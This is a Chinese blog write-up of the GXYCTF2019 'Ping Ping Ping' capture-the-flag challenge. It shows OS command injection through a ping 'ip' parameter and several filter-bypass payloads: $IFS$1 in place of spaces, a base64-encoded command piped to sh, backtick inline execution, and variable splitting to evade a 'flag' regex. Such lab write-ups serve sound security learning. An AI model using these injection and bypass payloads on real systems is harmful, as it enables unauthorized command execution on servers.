[GXYCTF2019]Ping Ping Ping(RCE)

这题考的比较全面:
在这里插入图片描述
随便ping一下:
在这里插入图片描述
正常request了,那跟我之前做的有一题应该差不多,直接payload:

?ip=127.0.0.1;cat%20/flag

在这里插入图片描述
应该是过滤了一些符号,那先试试payload:

?ip=127.0.0.1;ls

在这里插入图片描述
还好ls了一下,不然这不得cat半天?
试一下cat index:
在这里插入图片描述
过滤空格了,可以用${IFS}$代替:
在这里插入图片描述
可能也过滤了{},用$IFS$1代替:
payload:

?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

拿到flag:
在这里插入图片描述
这行payload不懂可以看一下这位师傅的小结:
https://www.ghtwf01.cn/index.php/archives/273/

然后又看了别人的wp,他们说有大佬payload:

?ip=127.0.0.1;cat$IFS$1`ls`

也可以拿到flag,这行payload他们解释说:

方法名叫内联执行
方法:将反引号内命令的输出作为输入执行

然后在F12下就全部ls出来了(0110 0110 0110):
在这里插入图片描述
还有一种说可以拼接,我没拼出来,我的payload:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php

在这里插入图片描述
师傅的payload:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在这里插入图片描述
额,我裂开,然后我就查了一下:
在这里插入图片描述

有点模糊,动手都试一遍:

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	有request,但没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag

太疑惑了叭,为什么!我问到了再回来加,你们有人知道也可以留言,感激不尽!

(两天后,论坛有人回复了)

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
匹配一个字符串中,是否按顺序出现过flag四个字母

这就解释了为什么我当初试a=fl;b=ag;会被过滤掉的原因。

  • 15
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 15
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值